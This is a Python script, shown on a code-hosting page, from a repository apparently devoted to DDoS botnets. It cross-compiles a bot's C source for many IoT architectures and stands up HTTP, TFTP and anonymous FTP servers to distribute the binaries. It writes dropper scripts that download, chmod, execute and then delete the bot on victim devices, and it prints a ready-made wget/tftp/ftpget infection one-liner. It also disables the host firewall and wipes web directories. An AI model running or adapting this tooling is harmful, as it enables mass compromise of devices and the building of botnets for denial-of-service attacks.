Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Compilers/ccedit.9c025e.py
5038 views
1
#
2
#Usage: python ccedit.py [BOTNAME.C] [IPADDR]
3
#Skype: b1narythag0d
4
#XMPP: [email protected]
5
#Made Date: 7-19-16
6
#
7
#
8
# *** DO NOT LEAK THIS SHIT ITS PRIVATE AF ***
9
#
10
# ___ __________ ____ _______ _____ _______________.___. ___
11
# / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\
12
# \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/
13
# | | \ | / | \/ | \ | \\____ |
14
# |______ / |___\____|__ /\____|__ /____|_ // ______|
15
# \/ \/ \/ \/ \/
16
#
17
# *** ccedit.py ***
18
#
19
20
import subprocess, sys
21
22
print("\x1b[31mCreated By ~B1NARY~")
23
print("\x1b[31mSkype: b1narythag0d")
24
print("\x1b[31mXmpp: [email protected]")
25
print("\x1b[34mMade Date: 7-19-16")
26
print("\x1b[0;32mUsage: python ccedit.py [BOTNAME.C] [IPADDR]\x1b[0m")
27
print("\x1b[31m")
28
29
bot = sys.argv[1]
30
if len(sys.argv[2]) != 0:
31
ip = sys.argv[2]
32
else:
33
print("\x1b[0;32mUsage: python " + sys.argv[0] + " [BOTNAME.C] [IPADDR] \x1b[0m")
34
exit(1)
35
36
# *** DEFINES ***
37
def system(cmd):
38
subprocess.call(cmd, shell=True)
39
40
compileas = [
41
"jackmymips", #mips
42
"jackmymips64", #mips64
43
"jackmymipsel", #mipsel
44
"jackmysh2eb", #sh2eb
45
"jackmysh2elf", #sh2elf
46
"jackmysh4", #sh4
47
"jackmyx86", #x86_64
48
"jackmyi486", #i486
49
"jackmyi586", #i586
50
"jackmyi686", #i686
51
"jackmypowerpc", #ppc
52
"jackmypowerpc440fp", #ppc-440fp
53
"jackmym86k", #m68k
54
"jackmysparc", #sparc
55
"jackmyarmv4", #armv4l
56
"jackmyarmv4tl", #armv4tl
57
"jackmyarmv5", #armv5l
58
"jackmyarmv6", #armv6l
59
]
60
61
getarch = [
62
'http://monstersecurity.xyz/cross-compilers/cross-compiler-mips.tar.bz2', #mips
63
'http://monstersecurity.xyz/cross-compilers/cross-compiler-mips64.tar.bz2', #mips64
64
'http://monstersecurity.xyz/cross-compilers/cross-compiler-mipsel.tar.bz2', #mipsel
65
'http://monstersecurity.xyz/cross-compilers/cross-compiler-sh2eb.tar.gz', #sh2eb
66
'http://monstersecurity.xyz/cross-compilers/cross-compiler-sh2elf.tar.bz2', #sh2elf
67
'http://monstersecurity.xyz/cross-compilers/cross-compiler-sh4.tar.bz2', #sh4
68
'http://monstersecurity.xyz/cross-compilers/cross-compiler-x86_64.tar.bz2', #x86_64
69
'http://monstersecurity.xyz/cross-compilers/cross-compiler-i486.tar.bz2', #i486
70
'http://monstersecurity.xyz/cross-compilers/cross-compiler-i586.tar.bz2', #i586
71
'http://monstersecurity.xyz/cross-compilers/cross-compiler-i686.tar.bz2', #i686
72
'http://monstersecurity.xyz/cross-compilers/cross-compiler-powerpc.tar.bz2', #ppc
73
'http://monstersecurity.xyz/cross-compilers/cross-compiler-powerpc-440fp.tar.bz2', #ppc-440fp
74
'http://monstersecurity.xyz/cross-compilers/cross-compiler-m68k.tar.bz2', #m68k
75
'http://monstersecurity.xyz/cross-compilers/cross-compiler-sparc.tar.bz2', #sparc
76
'http://monstersecurity.xyz/cross-compilers/cross-compiler-armv4l.tar.bz2', #armv4l
77
'http://monstersecurity.xyz/cross-compilers/cross-compiler-armv4tl.tar.bz2', #armv4tl
78
'http://monstersecurity.xyz/cross-compilers/cross-compiler-armv5l.tar.bz2', #armv5l
79
'http://monstersecurity.xyz/cross-compilers/cross-compiler-armv6l.tar.bz2', #armv6l
80
]
81
82
ccs = [
83
"cross-compiler-mips", #mips
84
"cross-compiler-mips64", #mips64
85
"cross-compiler-mipsel", #mipsel
86
"cross-compiler-sh2eb", #sh2eb
87
"cross-compiler-sh2elf", #sh2elf
88
"cross-compiler-sh4", #sh4
89
"cross-compiler-x86_64", #x86_64
90
"cross-compiler-i486", #i486
91
"cross-compiler-i586", #i586
92
"cross-compiler-i686", #i686
93
"cross-compiler-powerpc", #ppc
94
"cross-compiler-powerpc-440fp", #ppc-440fp
95
"cross-compiler-m68k", #m68k
96
"cross-compiler-sparc", #sparc
97
"cross-compiler-armv4l", #armv4l
98
"cross-compiler-armv4tl", #armv4tl
99
"cross-compiler-armv5l", #armv5l
100
"cross-compiler-armv6l", #armv6l
101
]
102
# *** UPDATE SERVER ***
103
update_server = raw_input("Update Server? Y/n: ")
104
if update_server.lower() == "y":
105
print("Updating Server")
106
system("yum update -y")
107
108
# *** DEPENDENCIES ***
109
depends = raw_input("Install Dependencies? Y/n: ")
110
if depends.lower() == "y":
111
print("Installing Dependencies")
112
system("yum install perl -y")
113
system("yum install gcc -y")
114
system("yum install gcc-c++ -y")
115
system("yum install cpan -y")
116
system("yum install httpd -y")
117
system("yum install tftp -y")
118
system("yum install screen -y")
119
system("yum install nano -y")
120
system("yum install unzip -y")
121
system("yum install tar -y")
122
system("yum install wget -y")
123
system("yum install curl -y")
124
system("yum install busybox -y")
125
system("yum install python-paramiko -y")
126
system("yum install nmap -y")
127
else:
128
depends_install = False
129
130
# *** CROSS COMPILING ***
131
yourafag = raw_input("Download Cross Compilers? Y/n: ")
132
if yourafag.lower() == "y":
133
get_arch = True
134
else:
135
get_arch = False
136
system("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")
137
if get_arch == True:
138
system("rm -rf cross-compiler-*")
139
140
print("Downloading Architectures")
141
142
for arch in getarch:
143
system("wget " + arch + " --no-check-certificate >> /dev/null")
144
system("tar -xvf *tar.bz2")
145
system("rm -rf *tar.bz2")
146
147
print("Cross Compilers Downloaded...")
148
num = 0
149
for cc in ccs:
150
arch = cc.split("-")[2]
151
system("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")
152
num += 1
153
154
# *** TFTP/HTTPD CONFIG ***
155
system("yum install httpd -y")
156
system("service httpd start")
157
system("yum install xinetd tftp tftp-server -y")
158
system("yum install vsftpd -y")
159
system("service vsftpd start")
160
system('''echo -e "# default: off
161
# description: The tftp server serves files using the trivial file transfer \
162
# protocol. The tftp protocol is often used to boot diskless \
163
# workstations, download configuration files to network-aware printers, \
164
# and to start the installation process for some operating systems.
165
service tftp
166
{
167
socket_type = dgram
168
protocol = udp
169
wait = yes
170
user = root
171
server = /usr/sbin/in.tftpd
172
server_args = -s -c /var/lib/tftpboot
173
disable = no
174
per_source = 11
175
cps = 100 2
176
flags = IPv4
177
}
178
" > /etc/xinetd.d/tftp''')
179
system("service xinetd start")
180
system('''echo -e "listen=YES
181
local_enable=NO
182
anonymous_enable=YES
183
write_enable=NO
184
anon_root=/var/ftp
185
anon_max_rate=2048000
186
xferlog_enable=YES
187
listen_address='''+ ip +'''
188
listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
189
system("service vsftpd restart")
190
191
# *** GTOP ***
192
system('echo -e "#!/bin/bash" > /var/www/html/gtop.sh')
193
for i in compileas:
194
system('echo -e "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/gtop.sh')
195
196
# *** FTP ***
197
for i in compileas:
198
system('echo -e "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')
199
200
# *** TFTP1 ***
201
system('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')
202
system('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')
203
system('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')
204
for i in compileas:
205
system('echo -e "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')
206
207
# *** TFTP2 ***
208
system('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')
209
system('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')
210
system('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')
211
for i in compileas:
212
system('echo -e "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')
213
for i in compileas:
214
system("cp " + i + " /var/www/html")
215
system("cp " + i + " /var/ftp")
216
system("mv " + i + " /var/lib/tftpboot")
217
218
# *** RESTARTING SERVICES ***
219
print("Stopping Iptables")
220
system("service iptables stop")
221
system("chkconfig iptables off")
222
print("Restarting Xinetd")
223
system("service xinetd restart")
224
print("Restarting Httpd")
225
system("service httpd restart")
226
227
# *** CHANGING ULIMIT ****
228
print("Changing Ulimit")
229
system("ulimit -Hn 999999; ulimit -Sn 99999")
230
system("ulimit -u 999999;ulimit -n 999999")
231
system('echo -e "ulimit -n 99999" >> ~/.bashrc')
232
system("sysctl -w fs.file-max=999999 >/dev/null")
233
system('echo "#.bashrc">> .bashrc')
234
system('echo "#ulimit set">> .bashrc')
235
system('echo "ulimit -u 999999">> .bashrc')
236
system('echo "ulimit -n 999999">> .bashrc')
237
238
# *** CREDZ ***
239
system('echo -e "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://' + ip + '/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp ' + ip + ' -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g ' + ip + '; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *" >> /root/p2p/wget.txt')
240
print("\x1b[0;32mYour link: cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://" + ip + "/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\x1b[0m")
241
print
242
print("\x1b[0;32mRecoded By ~B1NARY~\x1b[0m")
243